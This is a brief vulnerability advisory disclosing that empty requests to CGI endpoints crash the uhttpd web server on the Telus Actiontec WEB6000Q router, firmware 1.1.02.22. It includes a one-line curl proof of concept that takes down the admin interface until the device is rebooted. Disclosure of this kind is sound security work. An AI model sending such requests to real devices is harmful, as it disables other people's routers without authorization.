Posted Jun 12, 2019
Authored by Andrew Klaus

Telus Actiontec WEB6000Q with firmware 1.1.02.22 suffers from a denial of service vulnerability. By querying CGI endpoints with empty (GET/POST/HEAD) requests causes a Segmentation Fault of the uhttpd webserver. Since there is no watchdog on this daemon, a device reboot is needed to restart the webserver to make any modification to the device.

### Device Details
Discovered By: Andrew Klaus (andrew@aklaus.ca)
Vendor: Actiontec (Telus Branded)
Model: WEB6000Q
Affected Firmware: 1.1.02.22

Reported: July 2018
CVE: Not needed since update is pushed by the provider.


### Summary of Findings
By querying CGI endpoints with empty (GET/POST/HEAD) requests causes a
Segmentation Fault of the uhttpd webserver. Since there is no watchdog
on this daemon, a device reboot is needed to restart the webserver to
make any modification to the device.

### Proof of Concept:

$ curl -X POST -ik http://192.168.1.2/forgot_password.cgi
curl: (52) Empty reply from server

$ curl -X POST -ik http://192.168.1.2/forgot_password.cgi
curl: (7) Failed to connect to 192.168.1.2 port 80: Connection refused
